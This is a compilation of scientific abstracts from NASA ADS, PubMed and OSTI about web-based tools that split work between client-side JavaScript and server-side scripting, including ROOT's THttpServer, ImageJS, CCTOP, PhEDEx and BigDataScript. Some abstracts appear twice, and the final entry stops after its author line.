THttpServer class in ROOT

NASA Astrophysics Data System (ADS)

Adamczewski-Musch, Joern; Linev, Sergey

2015-12-01

The new THttpServer class in ROOT implements HTTP server for arbitrary ROOT applications. It is based on Civetweb embeddable HTTP server and provides direct access to all objects registered for the server. Objects data could be provided in different formats: binary, XML, GIF/PNG, and JSON. A generic user interface for THttpServer has been implemented with HTML/JavaScript based on JavaScript ROOT development. With any modern web browser one could list, display, and monitor objects available on the server. THttpServer is used in Go4 framework to provide HTTP interface to the online analysis.

ClusterControl: a web interface for distributing and monitoring bioinformatics applications on a Linux cluster.

PubMed

Stocker, Gernot; Rieder, Dietmar; Trajanoski, Zlatko

2004-03-22

ClusterControl is a web interface to simplify distributing and monitoring bioinformatics applications on Linux cluster systems. We have developed a modular concept that enables integration of command line oriented program into the application framework of ClusterControl. The systems facilitate integration of different applications accessed through one interface and executed on a distributed cluster system. The package is based on freely available technologies like Apache as web server, PHP as server-side scripting language and OpenPBS as queuing system and is available free of charge for academic and non-profit institutions. http://genome.tugraz.at/Software/ClusterControl

Design and evaluation of web-based image transmission and display with different protocols

NASA Astrophysics Data System (ADS)

Tan, Bin; Chen, Kuangyi; Zheng, Xichuan; Zhang, Jianguo

2011-03-01

There are many Web-based image accessing technologies used in medical imaging area, such as component-based (ActiveX Control) thick client Web display, Zerofootprint thin client Web viewer (or called server side processing Web viewer), Flash Rich Internet Application(RIA) ,or HTML5 based Web display. Different Web display methods have different peformance in different network environment. In this presenation, we give an evaluation on two developed Web based image display systems. The first one is used for thin client Web display. It works between a PACS Web server with WADO interface and thin client. The PACS Web server provides JPEG format images to HTML pages. The second one is for thick client Web display. It works between a PACS Web server with WADO interface and thick client running in browsers containing ActiveX control, Flash RIA program or HTML5 scripts. The PACS Web server provides native DICOM format images or JPIP stream for theses clients.

Technical development of PubMed interact: an improved interface for MEDLINE/PubMed searches.

PubMed

Muin, Michael; Fontelo, Paul

2006-11-03

The project aims to create an alternative search interface for MEDLINE/PubMed that may provide assistance to the novice user and added convenience to the advanced user. An earlier version of the project was the 'Slider Interface for MEDLINE/PubMed searches' (SLIM) which provided JavaScript slider bars to control search parameters. In this new version, recent developments in Web-based technologies were implemented. These changes may prove to be even more valuable in enhancing user interactivity through client-side manipulation and management of results. PubMed Interact is a Web-based MEDLINE/PubMed search application built with HTML, JavaScript and PHP. It is implemented on a Windows Server 2003 with Apache 2.0.52, PHP 4.4.1 and MySQL 4.1.18. PHP scripts provide the backend engine that connects with E-Utilities and parses XML files. JavaScript manages client-side functionalities and converts Web pages into interactive platforms using dynamic HTML (DHTML), Document Object Model (DOM) tree manipulation and Ajax methods. With PubMed Interact, users can limit searches with JavaScript slider bars, preview result counts, delete citations from the list, display and add related articles and create relevance lists. Many interactive features occur at client-side, which allow instant feedback without reloading or refreshing the page resulting in a more efficient user experience. PubMed Interact is a highly interactive Web-based search application for MEDLINE/PubMed that explores recent trends in Web technologies like DOM tree manipulation and Ajax. It may become a valuable technical development for online medical search applications.

Indoor Navigation Design Integrated with Smart Phones and Rfid Devices

NASA Astrophysics Data System (ADS)

Ortakci, Y.; Demiral, E.; Atila, U.; Karas, I. R.

2015-10-01

High rise, complex and huge buildings in the cities are almost like a small city with their tens of floors, hundreds of corridors and rooms and passages. Due to size and complexity of these buildings, people need guidance to find their way to the destination in these buildings. In this study, a mobile application is developed to visualize pedestrian's indoor position as 3D in their smartphone and RFID Technology is used to detect the position of pedestrian. While the pedestrian is walking on his/her way on the route, smartphone will guide the pedestrian by displaying the photos of indoor environment on the route. Along the tour, an RFID (Radio-Frequency Identification) device is integrated to the system. The pedestrian will carry the RFID device during his/her tour in the building. The RFID device will send the position data to the server directly in every two seconds periodically. On the other side, the pedestrian will just select the destination point in the mobile application on smartphone and sent the destination point to the server. The shortest path from the pedestrian position to the destination point is found out by the script on the server. This script also sends the environment photo of the first node on the acquired shortest path to the client as an indoor navigation module.

Framework for ReSTful Web Services in OSGi

NASA Technical Reports Server (NTRS)

Shams, Khawaja S.; Norris, Jeffrey S.; Powell, Mark W.; Crockett, Thomas M.; Mittman, David S.; Fox, Jason M.; Joswig, Joseph C.; Wallick, Michael N.; Torres, Recaredo J.; Rabe, Kenneth

2009-01-01

Ensemble ReST is a software system that eases the development, deployment, and maintenance of server-side application programs to perform functions that would otherwise be performed by client software. Ensemble ReST takes advantage of the proven disciplines of ReST (Representational State Transfer. ReST leverages the standardized HTTP protocol to enable developers to offer services to a diverse variety of clients: from shell scripts to sophisticated Java application suites

ImageJS: Personalized, participated, pervasive, and reproducible image bioinformatics in the web browser

PubMed Central

Almeida, Jonas S.; Iriabho, Egiebade E.; Gorrepati, Vijaya L.; Wilkinson, Sean R.; Grüneberg, Alexander; Robbins, David E.; Hackney, James R.

2012-01-01

Background: Image bioinformatics infrastructure typically relies on a combination of server-side high-performance computing and client desktop applications tailored for graphic rendering. On the server side, matrix manipulation environments are often used as the back-end where deployment of specialized analytical workflows takes place. However, neither the server-side nor the client-side desktop solution, by themselves or combined, is conducive to the emergence of open, collaborative, computational ecosystems for image analysis that are both self-sustained and user driven. Materials and Methods: ImageJS was developed as a browser-based webApp, untethered from a server-side backend, by making use of recent advances in the modern web browser such as a very efficient compiler, high-end graphical rendering capabilities, and I/O tailored for code migration. Results: Multiple versioned code hosting services were used to develop distinct ImageJS modules to illustrate its amenability to collaborative deployment without compromise of reproducibility or provenance. The illustrative examples include modules for image segmentation, feature extraction, and filtering. The deployment of image analysis by code migration is in sharp contrast with the more conventional, heavier, and less safe reliance on data transfer. Accordingly, code and data are loaded into the browser by exactly the same script tag loading mechanism, which offers a number of interesting applications that would be hard to attain with more conventional platforms, such as NIH's popular ImageJ application. Conclusions: The modern web browser was found to be advantageous for image bioinformatics in both the research and clinical environments. This conclusion reflects advantages in deployment scalability and analysis reproducibility, as well as the critical ability to deliver advanced computational statistical procedures machines where access to sensitive data is controlled, that is, without local “download and installation”. PMID:22934238

ImageJS: Personalized, participated, pervasive, and reproducible image bioinformatics in the web browser.

PubMed

Almeida, Jonas S; Iriabho, Egiebade E; Gorrepati, Vijaya L; Wilkinson, Sean R; Grüneberg, Alexander; Robbins, David E; Hackney, James R

2012-01-01

Image bioinformatics infrastructure typically relies on a combination of server-side high-performance computing and client desktop applications tailored for graphic rendering. On the server side, matrix manipulation environments are often used as the back-end where deployment of specialized analytical workflows takes place. However, neither the server-side nor the client-side desktop solution, by themselves or combined, is conducive to the emergence of open, collaborative, computational ecosystems for image analysis that are both self-sustained and user driven. ImageJS was developed as a browser-based webApp, untethered from a server-side backend, by making use of recent advances in the modern web browser such as a very efficient compiler, high-end graphical rendering capabilities, and I/O tailored for code migration. Multiple versioned code hosting services were used to develop distinct ImageJS modules to illustrate its amenability to collaborative deployment without compromise of reproducibility or provenance. The illustrative examples include modules for image segmentation, feature extraction, and filtering. The deployment of image analysis by code migration is in sharp contrast with the more conventional, heavier, and less safe reliance on data transfer. Accordingly, code and data are loaded into the browser by exactly the same script tag loading mechanism, which offers a number of interesting applications that would be hard to attain with more conventional platforms, such as NIH's popular ImageJ application. The modern web browser was found to be advantageous for image bioinformatics in both the research and clinical environments. This conclusion reflects advantages in deployment scalability and analysis reproducibility, as well as the critical ability to deliver advanced computational statistical procedures machines where access to sensitive data is controlled, that is, without local "download and installation".

Technical development of PubMed Interact: an improved interface for MEDLINE/PubMed searches

PubMed Central

Muin, Michael; Fontelo, Paul

2006-01-01

Background The project aims to create an alternative search interface for MEDLINE/PubMed that may provide assistance to the novice user and added convenience to the advanced user. An earlier version of the project was the 'Slider Interface for MEDLINE/PubMed searches' (SLIM) which provided JavaScript slider bars to control search parameters. In this new version, recent developments in Web-based technologies were implemented. These changes may prove to be even more valuable in enhancing user interactivity through client-side manipulation and management of results. Results PubMed Interact is a Web-based MEDLINE/PubMed search application built with HTML, JavaScript and PHP. It is implemented on a Windows Server 2003 with Apache 2.0.52, PHP 4.4.1 and MySQL 4.1.18. PHP scripts provide the backend engine that connects with E-Utilities and parses XML files. JavaScript manages client-side functionalities and converts Web pages into interactive platforms using dynamic HTML (DHTML), Document Object Model (DOM) tree manipulation and Ajax methods. With PubMed Interact, users can limit searches with JavaScript slider bars, preview result counts, delete citations from the list, display and add related articles and create relevance lists. Many interactive features occur at client-side, which allow instant feedback without reloading or refreshing the page resulting in a more efficient user experience. Conclusion PubMed Interact is a highly interactive Web-based search application for MEDLINE/PubMed that explores recent trends in Web technologies like DOM tree manipulation and Ajax. It may become a valuable technical development for online medical search applications. PMID:17083729

CCTOP: a Consensus Constrained TOPology prediction web server.

PubMed

Dobson, László; Reményi, István; Tusnády, Gábor E

2015-07-01

The Consensus Constrained TOPology prediction (CCTOP; http://cctop.enzim.ttk.mta.hu) server is a web-based application providing transmembrane topology prediction. In addition to utilizing 10 different state-of-the-art topology prediction methods, the CCTOP server incorporates topology information from existing experimental and computational sources available in the PDBTM, TOPDB and TOPDOM databases using the probabilistic framework of hidden Markov model. The server provides the option to precede the topology prediction with signal peptide prediction and transmembrane-globular protein discrimination. The initial result can be recalculated by (de)selecting any of the prediction methods or mapped experiments or by adding user specified constraints. CCTOP showed superior performance to existing approaches. The reliability of each prediction is also calculated, which correlates with the accuracy of the per protein topology prediction. The prediction results and the collected experimental information are visualized on the CCTOP home page and can be downloaded in XML format. Programmable access of the CCTOP server is also available, and an example of client-side script is provided. © The Author(s) 2015. Published by Oxford University Press on behalf of Nucleic Acids Research.

Web Application Design Using Server-Side JavaScript

DOE Office of Scientific and Technical Information (OSTI.GOV)

Hampton, J.; Simons, R.

1999-02-01

This document describes the application design philosophy for the Comprehensive Nuclear Test Ban Treaty Research & Development Web Site. This design incorporates object-oriented techniques to produce a flexible and maintainable system of applications that support the web site. These techniques will be discussed at length along with the issues they address. The overall structure of the applications and their relationships with one another will also be described. The current problems and future design changes will be discussed as well.

CH5M3D: an HTML5 program for creating 3D molecular structures.

PubMed

Earley, Clarke W

2013-11-18

While a number of programs and web-based applications are available for the interactive display of 3-dimensional molecular structures, few of these provide the ability to edit these structures. For this reason, we have developed a library written in JavaScript to allow for the simple creation of web-based applications that should run on any browser capable of rendering HTML5 web pages. While our primary interest in developing this application was for educational use, it may also prove useful to researchers who want a light-weight application for viewing and editing small molecular structures. Molecular compounds are drawn on the HTML5 Canvas element, with the JavaScript code making use of standard techniques to allow display of three-dimensional structures on a two-dimensional canvas. Information about the structure (bond lengths, bond angles, and dihedral angles) can be obtained using a mouse or other pointing device. Both atoms and bonds can be added or deleted, and rotation about bonds is allowed. Routines are provided to read structures either from the web server or from the user's computer, and creation of galleries of structures can be accomplished with only a few lines of code. Documentation and examples are provided to demonstrate how users can access all of the molecular information for creation of web pages with more advanced features. A light-weight (≈ 75 kb) JavaScript library has been made available that allows for the simple creation of web pages containing interactive 3-dimensional molecular structures. Although this library is designed to create web pages, a web server is not required. Installation on a web server is straightforward and does not require any server-side modules or special permissions. The ch5m3d.js library has been released under the GNU GPL version 3 open-source license and is available from http://sourceforge.net/projects/ch5m3d/.

CH5M3D: an HTML5 program for creating 3D molecular structures

PubMed Central

2013-01-01

Background While a number of programs and web-based applications are available for the interactive display of 3-dimensional molecular structures, few of these provide the ability to edit these structures. For this reason, we have developed a library written in JavaScript to allow for the simple creation of web-based applications that should run on any browser capable of rendering HTML5 web pages. While our primary interest in developing this application was for educational use, it may also prove useful to researchers who want a light-weight application for viewing and editing small molecular structures. Results Molecular compounds are drawn on the HTML5 Canvas element, with the JavaScript code making use of standard techniques to allow display of three-dimensional structures on a two-dimensional canvas. Information about the structure (bond lengths, bond angles, and dihedral angles) can be obtained using a mouse or other pointing device. Both atoms and bonds can be added or deleted, and rotation about bonds is allowed. Routines are provided to read structures either from the web server or from the user’s computer, and creation of galleries of structures can be accomplished with only a few lines of code. Documentation and examples are provided to demonstrate how users can access all of the molecular information for creation of web pages with more advanced features. Conclusions A light-weight (≈ 75 kb) JavaScript library has been made available that allows for the simple creation of web pages containing interactive 3-dimensional molecular structures. Although this library is designed to create web pages, a web server is not required. Installation on a web server is straightforward and does not require any server-side modules or special permissions. The ch5m3d.js library has been released under the GNU GPL version 3 open-source license and is available from http://sourceforge.net/projects/ch5m3d/. PMID:24246004

Relating genes to function: identifying enriched transcription factors using the ENCODE ChIP-Seq significance tool.

PubMed

Auerbach, Raymond K; Chen, Bin; Butte, Atul J

2013-08-01

Biological analysis has shifted from identifying genes and transcripts to mapping these genes and transcripts to biological functions. The ENCODE Project has generated hundreds of ChIP-Seq experiments spanning multiple transcription factors and cell lines for public use, but tools for a biomedical scientist to analyze these data are either non-existent or tailored to narrow biological questions. We present the ENCODE ChIP-Seq Significance Tool, a flexible web application leveraging public ENCODE data to identify enriched transcription factors in a gene or transcript list for comparative analyses. The ENCODE ChIP-Seq Significance Tool is written in JavaScript on the client side and has been tested on Google Chrome, Apple Safari and Mozilla Firefox browsers. Server-side scripts are written in PHP and leverage R and a MySQL database. The tool is available at http://encodeqt.stanford.edu. abutte@stanford.edu Supplementary material is available at Bioinformatics online.

GrayStarServer: Server-side Spectrum Synthesis with a Browser-based Client-side User Interface

NASA Astrophysics Data System (ADS)

Short, C. Ian

2016-10-01

We present GrayStarServer (GSS), a stellar atmospheric modeling and spectrum synthesis code of pedagogical accuracy that is accessible in any web browser on commonplace computational devices and that runs on a timescale of a few seconds. The addition of spectrum synthesis annotated with line identifications extends the functionality and pedagogical applicability of GSS beyond that of its predecessor, GrayStar3 (GS3). The spectrum synthesis is based on a line list acquired from the NIST atomic spectra database, and the GSS post-processing and user interface client allows the user to inspect the plain text ASCII version of the line list, as well as to apply macroscopic broadening. Unlike GS3, GSS carries out the physical modeling on the server side in Java, and communicates with the JavaScript and HTML client via an asynchronous HTTP request. We also describe other improvements beyond GS3 such as a more physical treatment of background opacity and atmospheric physics, the comparison of key results with those of the Phoenix code, and the use of the HTML < {canvas}> element for higher quality plotting and rendering of results. We also present LineListServer, a Java code for converting custom ASCII line lists in NIST format to the byte data type file format required by GSS so that users can prepare their own custom line lists. We propose a standard for marking up and packaging model atmosphere and spectrum synthesis output for data transmission and storage that will facilitate a web-based approach to stellar atmospheric modeling and spectrum synthesis. We describe some pedagogical demonstrations and exercises enabled by easily accessible, on-demand, responsive spectrum synthesis. GSS may serve as a research support tool by providing quick spectroscopic reconnaissance. GSS may be found at www.ap.smu.ca/~ishort/OpenStars/GrayStarServer/grayStarServer.html, and source tarballs for local installations of both GSS and LineListServer may be found at www.ap.smu.ca/~ishort/OpenStars/.

Benchmark of Client and Server-Side Catchment Delineation Approaches on Web-Based Systems

NASA Astrophysics Data System (ADS)

Demir, I.; Sermet, M. Y.; Sit, M. A.

2016-12-01

Recent advances in internet and cyberinfrastructure technologies have provided the capability to acquire large scale spatial data from various gauges and sensor networks. The collection of environmental data increased demand for applications which are capable of managing and processing large-scale and high-resolution data sets. With the amount and resolution of data sets provided, one of the challenging tasks for organizing and customizing hydrological data sets is delineation of watersheds on demand. Watershed delineation is a process for creating a boundary that represents the contributing area for a specific control point or water outlet, with intent of characterization and analysis of portions of a study area. Although many GIS tools and software for watershed analysis are available on desktop systems, there is a need for web-based and client-side techniques for creating a dynamic and interactive environment for exploring hydrological data. In this project, we demonstrated several watershed delineation techniques on the web with various techniques implemented on the client-side using JavaScript and WebGL, and on the server-side using Python and C++. We also developed a client-side GPGPU (General Purpose Graphical Processing Unit) algorithm to analyze high-resolution terrain data for watershed delineation which allows parallelization using GPU. The web-based real-time analysis of watershed segmentation can be helpful for decision-makers and interested stakeholders while eliminating the need of installing complex software packages and dealing with large-scale data sets. Utilization of the client-side hardware resources also eliminates the need of servers due its crowdsourcing nature. Our goal for future work is to improve other hydrologic analysis methods such as rain flow tracking by adapting presented approaches.

phylo-node: A molecular phylogenetic toolkit using Node.js.

PubMed

O'Halloran, Damien M

2017-01-01

Node.js is an open-source and cross-platform environment that provides a JavaScript codebase for back-end server-side applications. JavaScript has been used to develop very fast and user-friendly front-end tools for bioinformatic and phylogenetic analyses. However, no such toolkits are available using Node.js to conduct comprehensive molecular phylogenetic analysis. To address this problem, I have developed, phylo-node, which was developed using Node.js and provides a stable and scalable toolkit that allows the user to perform diverse molecular and phylogenetic tasks. phylo-node can execute the analysis and process the resulting outputs from a suite of software options that provides tools for read processing and genome alignment, sequence retrieval, multiple sequence alignment, primer design, evolutionary modeling, and phylogeny reconstruction. Furthermore, phylo-node enables the user to deploy server dependent applications, and also provides simple integration and interoperation with other Node modules and languages using Node inheritance patterns, and a customized piping module to support the production of diverse pipelines. phylo-node is open-source and freely available to all users without sign-up or login requirements. All source code and user guidelines are openly available at the GitHub repository: https://github.com/dohalloran/phylo-node.

Youpi: A Web-based Astronomical Image Processing Pipeline

NASA Astrophysics Data System (ADS)

Monnerville, M.; Sémah, G.

2010-12-01

Youpi stands for “YOUpi is your processing PIpeline”. It is a portable, easy to use web application providing high level functionalities to perform data reduction on scientific FITS images. It is built on top of open source processing tools that are released to the community by Terapix, in order to organize your data on a computer cluster, to manage your processing jobs in real time and to facilitate teamwork by allowing fine-grain sharing of results and data. On the server side, Youpi is written in the Python programming language and uses the Django web framework. On the client side, Ajax techniques are used along with the Prototype and script.aculo.us Javascript librairies.

The PhEDEx next-gen website

NASA Astrophysics Data System (ADS)

Egeland, R.; Huang, C.-H.; Rossman, P.; Sundarrajan, P.; Wildish, T.

2012-12-01

PhEDEx is the data-transfer management solution written by CMS. It consists of agents running at each site, a website for presentation of information, and a web-based data-service for scripted access to information. The website allows users to monitor the progress of data-transfers, the status of site agents and links between sites, and the overall status and behaviour of everything about PhEDEx. It also allows users to make and approve requests for data-transfers and for deletion of data. It is the main point-of-entry for all users wishing to interact with PhEDEx. For several years, the website has consisted of a single perl program with about 10K SLOC. This program has limited capabilities for exploring the data, with only coarse filtering capabilities and no context-sensitive awareness. Graphical information is presented as static images, generated on the server, with no interactivity. It is also not well connected to the rest of the PhEDEx codebase, since much of it was written before the data-service was developed. All this makes it hard to maintain and extend. We are re-implementing the website to address these issues. The UI is being rewritten in Javascript, replacing most of the server-side code. We are using the YUI toolkit to provide advanced features and context-sensitive interaction, and will adopt a Javascript charting library for generating graphical representations client-side. This relieves the server of much of its load, and automatically improves server-side security. The Javascript components can be re-used in many ways, allowing custom pages to be developed for specific uses. In particular, standalone test-cases using small numbers of components make it easier to debug the Javascript than it is to debug a large server program. Information about PhEDEx is accessed through the PhEDEx data-service, since direct SQL is not available from the clients’ browser. This provides consistent semantics with other, externally written monitoring tools, which already use the data-service. It also reduces redundancy in the code, yielding a simpler, consolidated codebase. In this talk we describe our experience of re-factoring this monolithic server-side program into a lighter client-side framework. We describe some of the techniques that worked well for us, and some of the mistakes we made along the way. We present the current state of the project, and its future direction.

Arachne—A web-based event viewer for MINERνA

NASA Astrophysics Data System (ADS)

Tagg, N.; Brangham, J.; Chvojka, J.; Clairemont, M.; Day, M.; Eberly, B.; Felix, J.; Fields, L.; Gago, A. M.; Gran, R.; Harris, D. A.; Kordosky, M.; Lee, H.; Maggi, G.; Maher, E.; Mann, W. A.; Marshall, C. M.; McFarland, K. S.; McGowan, A. M.; Mislivec, A.; Mousseau, J.; Osmanov, B.; Osta, J.; Paolone, V.; Perdue, G.; Ransome, R. D.; Ray, H.; Schellman, H.; Schmitz, D. W.; Simon, C.; Solano Salinas, C. J.; Tice, B. G.; Walding, J.; Walton, T.; Wolcott, J.; Zhang, D.; Ziemer, B. P.; MinerνA Collaboration

2012-06-01

Neutrino interaction events in the MINERνA detector are visually represented with a web-based tool called Arachne. Data are retrieved from a central server via AJAX, and client-side JavaScript draws images into the user's browser window using the draft HTML 5 standard. These technologies allow neutrino interactions to be viewed by anyone with a web browser, allowing for easy hand-scanning of particle interactions. Arachne has been used in MINERνA to evaluate neutrino data in a prototype detector, to tune reconstruction algorithms, and for public outreach and education.

Arachne - A web-based event viewer for MINERvA

DOE Office of Scientific and Technical Information (OSTI.GOV)

Tagg, N.; /Otterbein Coll.; Brangham, J.

2011-11-01

Neutrino interaction events in the MINERvA detector are visually represented with a web-based tool called Arachne. Data are retrieved from a central server via AJAX, and client-side JavaScript draws images into the user's browser window using the draft HTML 5 standard. These technologies allow neutrino interactions to be viewed by anyone with a web browser, allowing for easy hand-scanning of particle interactions. Arachne has been used in MINERvA to evaluate neutrino data in a prototype detector, to tune reconstruction algorithms, and for public outreach and education.

A Python object-oriented framework for the CMS alignment and calibration data

NASA Astrophysics Data System (ADS)

Dawes, Joshua H.; CMS Collaboration

2017-10-01

The Alignment, Calibrations and Databases group at the CMS Experiment delivers Alignment and Calibration Conditions Data to a large set of workflows which process recorded event data and produce simulated events. The current infrastructure for releasing and consuming Conditions Data was designed in the two years of the first LHC long shutdown to respond to use cases from the preceding data-taking period. During the second run of the LHC, new use cases were defined. For the consumption of Conditions Metadata, no common interface existed for the detector experts to use in Python-based custom scripts, resulting in many different querying and transaction management patterns. A new framework has been built to address such use cases: a simple object-oriented tool that detector experts can use to read and write Conditions Metadata when using Oracle and SQLite databases, that provides a homogeneous method of querying across all services. The tool provides mechanisms for segmenting large sets of conditions while releasing them to the production database, allows for uniform error reporting to the client-side from the server-side and optimizes the data transfer to the server. The architecture of the new service has been developed exploiting many of the features made available by the metadata consumption framework to implement the required improvements. This paper presents the details of the design and implementation of the new metadata consumption and data upload framework, as well as analyses of the new upload service’s performance as the server-side state varies.

Tank Information System (tis): a Case Study in Migrating Web Mapping Application from Flex to Dojo for Arcgis Server and then to Open Source

NASA Astrophysics Data System (ADS)

Pulsani, B. R.

2017-11-01

Tank Information System is a web application which provides comprehensive information about minor irrigation tanks of Telangana State. As part of the program, a web mapping application using Flex and ArcGIS server was developed to make the data available to the public. In course of time as Flex be-came outdated, a migration of the client interface to the latest JavaScript based technologies was carried out. Initially, the Flex based application was migrated to ArcGIS JavaScript API using Dojo Toolkit. Both the client applications used published services from ArcGIS server. To check the migration pattern from proprietary to open source, the JavaScript based ArcGIS application was later migrated to OpenLayers and Dojo Toolkit which used published service from GeoServer. The migration pattern noticed in the study especially emphasizes upon the use of Dojo Toolkit and PostgreSQL database for ArcGIS server so that migration to open source could be performed effortlessly. The current ap-plication provides a case in study which could assist organizations in migrating their proprietary based ArcGIS web applications to open source. Furthermore, the study reveals cost benefits of adopting open source against commercial software's.

Testnodes: a Lightweight Node-Testing Infrastructure

NASA Astrophysics Data System (ADS)

Fay, R.; Bland, J.

2014-06-01

A key aspect of ensuring optimum cluster reliability and productivity lies in keeping worker nodes in a healthy state. Testnodes is a lightweight node testing solution developed at Liverpool. While Nagios has been used locally for general monitoring of hosts and services, Testnodes is optimised to answer one question: is there any reason this node should not be accepting jobs? This tight focus enables Testnodes to inspect nodes frequently with minimal impact and provide a comprehensive and easily extended check with each inspection. On the server side, Testnodes, implemented in python, interoperates with the Torque batch server to control the nodes production status. Testnodes remotely and in parallel executes client-side test scripts and processes the return codes and output, adjusting the node's online/offline status accordingly to preserve the integrity of the overall batch system. Testnodes reports via log, email and Nagios, allowing a quick overview of node status to be reviewed and specific node issues to be identified and resolved quickly. This presentation will cover testnodes design and implementation, together with the results of its use in production at Liverpool, and future development plans.

WMT: The CSDMS Web Modeling Tool

NASA Astrophysics Data System (ADS)

Piper, M.; Hutton, E. W. H.; Overeem, I.; Syvitski, J. P.

2015-12-01

The Community Surface Dynamics Modeling System (CSDMS) has a mission to enable model use and development for research in earth surface processes. CSDMS strives to expand the use of quantitative modeling techniques, promotes best practices in coding, and advocates for the use of open-source software. To streamline and standardize access to models, CSDMS has developed the Web Modeling Tool (WMT), a RESTful web application with a client-side graphical interface and a server-side database and API that allows users to build coupled surface dynamics models in a web browser on a personal computer or a mobile device, and run them in a high-performance computing (HPC) environment. With WMT, users can: Design a model from a set of components Edit component parameters Save models to a web-accessible server Share saved models with the community Submit runs to an HPC system Download simulation results The WMT client is an Ajax application written in Java with GWT, which allows developers to employ object-oriented design principles and development tools such as Ant, Eclipse and JUnit. For deployment on the web, the GWT compiler translates Java code to optimized and obfuscated JavaScript. The WMT client is supported on Firefox, Chrome, Safari, and Internet Explorer. The WMT server, written in Python and SQLite, is a layered system, with each layer exposing a web service API: wmt-db: database of component, model, and simulation metadata and output wmt-api: configure and connect components wmt-exe: launch simulations on remote execution servers The database server provides, as JSON-encoded messages, the metadata for users to couple model components, including descriptions of component exchange items, uses and provides ports, and input parameters. Execution servers are network-accessible computational resources, ranging from HPC systems to desktop computers, containing the CSDMS software stack for running a simulation. Once a simulation completes, its output, in NetCDF, is packaged and uploaded to a data server where it is stored and from which a user can download it as a single compressed archive file.

The Case for Adopting Server-side Analytics

NASA Astrophysics Data System (ADS)

Tino, C.; Holmes, C. P.; Feigelson, E.; Hurlburt, N. E.

2017-12-01

The standard method for accessing Earth and space science data relies on a scheme developed decades ago: data residing in one or many data stores must be parsed out and shipped via internet lines or physical transport to the researcher who in turn locally stores the data for analysis. The analyses tasks are varied and include visualization, parameterization, and comparison with or assimilation into physics models. In many cases this process is inefficient and unwieldy as the data sets become larger and demands on the analysis tasks become more sophisticated and complex. For about a decade, several groups have explored a new paradigm to this model. The names applied to the paradigm include "data analytics", "climate analytics", and "server-side analytics". The general concept is that in close network proximity to the data store there will be a tailored processing capability appropriate to the type and use of the data served. The user of the server-side analytics will operate on the data with numerical procedures. The procedures can be accessed via canned code, a scripting processor, or an analysis package such as Matlab, IDL or R. Results of the analytics processes will then be relayed via the internet to the user. In practice, these results will be at a much lower volume, easier to transport to and store locally by the user and easier for the user to interoperate with data sets from other remote data stores. The user can also iterate on the processing call to tailor the results as needed. A major component of server-side analytics could be to provide sets of tailored results to end users in order to eliminate the repetitive preconditioning that is both often required with these data sets and which drives much of the throughput challenges. NASA's Big Data Task Force studied this issue. This paper will present the results of this study including examples of SSAs that are being developed and demonstrated and suggestions for architectures that might be developed for future applications.

BigDataScript: a scripting language for data pipelines.

PubMed

Cingolani, Pablo; Sladek, Rob; Blanchette, Mathieu

2015-01-01

The analysis of large biological datasets often requires complex processing pipelines that run for a long time on large computational infrastructures. We designed and implemented a simple script-like programming language with a clean and minimalist syntax to develop and manage pipeline execution and provide robustness to various types of software and hardware failures as well as portability. We introduce the BigDataScript (BDS) programming language for data processing pipelines, which improves abstraction from hardware resources and assists with robustness. Hardware abstraction allows BDS pipelines to run without modification on a wide range of computer architectures, from a small laptop to multi-core servers, server farms, clusters and clouds. BDS achieves robustness by incorporating the concepts of absolute serialization and lazy processing, thus allowing pipelines to recover from errors. By abstracting pipeline concepts at programming language level, BDS simplifies implementation, execution and management of complex bioinformatics pipelines, resulting in reduced development and debugging cycles as well as cleaner code. BigDataScript is available under open-source license at http://pcingola.github.io/BigDataScript. © The Author 2014. Published by Oxford University Press.

BigDataScript: a scripting language for data pipelines

PubMed Central

Cingolani, Pablo; Sladek, Rob; Blanchette, Mathieu

2015-01-01

Motivation: The analysis of large biological datasets often requires complex processing pipelines that run for a long time on large computational infrastructures. We designed and implemented a simple script-like programming language with a clean and minimalist syntax to develop and manage pipeline execution and provide robustness to various types of software and hardware failures as well as portability. Results: We introduce the BigDataScript (BDS) programming language for data processing pipelines, which improves abstraction from hardware resources and assists with robustness. Hardware abstraction allows BDS pipelines to run without modification on a wide range of computer architectures, from a small laptop to multi-core servers, server farms, clusters and clouds. BDS achieves robustness by incorporating the concepts of absolute serialization and lazy processing, thus allowing pipelines to recover from errors. By abstracting pipeline concepts at programming language level, BDS simplifies implementation, execution and management of complex bioinformatics pipelines, resulting in reduced development and debugging cycles as well as cleaner code. Availability and implementation: BigDataScript is available under open-source license at http://pcingola.github.io/BigDataScript. Contact: pablo.e.cingolani@gmail.com PMID:25189778

Ajax Architecture Implementation Techniques

NASA Astrophysics Data System (ADS)

Hussaini, Syed Asadullah; Tabassum, S. Nasira; Baig, Tabassum, M. Khader

2012-03-01

Today's rich Web applications use a mix of Java Script and asynchronous communication with the application server. This mechanism is also known as Ajax: Asynchronous JavaScript and XML. The intent of Ajax is to exchange small pieces of data between the browser and the application server, and in doing so, use partial page refresh instead of reloading the entire Web page. AJAX (Asynchronous JavaScript and XML) is a powerful Web development model for browser-based Web applications. Technologies that form the AJAX model, such as XML, JavaScript, HTTP, and XHTML, are individually widely used and well known. However, AJAX combines these technologies to let Web pages retrieve small amounts of data from the server without having to reload the entire page. This capability makes Web pages more interactive and lets them behave like local applications. Web 2.0 enabled by the Ajax architecture has given rise to a new level of user interactivity through web browsers. Many new and extremely popular Web applications have been introduced such as Google Maps, Google Docs, Flickr, and so on. Ajax Toolkits such as Dojo allow web developers to build Web 2.0 applications quickly and with little effort.

Lsiviewer 2.0 - a Client-Oriented Online Visualization Tool for Geospatial Vector Data

NASA Astrophysics Data System (ADS)

Manikanta, K.; Rajan, K. S.

2017-09-01

Geospatial data visualization systems have been predominantly through applications that are installed and run in a desktop environment. Over the last decade, with the advent of web technologies and its adoption by Geospatial community, the server-client model for data handling, data rendering and visualization respectively has been the most prevalent approach in Web-GIS. While the client devices have become functionally more powerful over the recent years, the above model has largely ignored it and is still in a mode of serverdominant computing paradigm. In this paper, an attempt has been made to develop and demonstrate LSIViewer - a simple, easy-to-use and robust online geospatial data visualisation system for the user's own data that harness the client's capabilities for data rendering and user-interactive styling, with a reduced load on the server. The developed system can support multiple geospatial vector formats and can be integrated with other web-based systems like WMS, WFS, etc. The technology stack used to build this system is Node.js on the server side and HTML5 Canvas and JavaScript on the client side. Various tests run on a range of vector datasets, upto 35 MB, showed that the time taken to render the vector data using LSIViewer is comparable to a desktop GIS application, QGIS, over an identical system.

The PhEDEx next-gen website

DOE Office of Scientific and Technical Information (OSTI.GOV)

Egeland, R.; Huang, C. H.; Rossman, P.

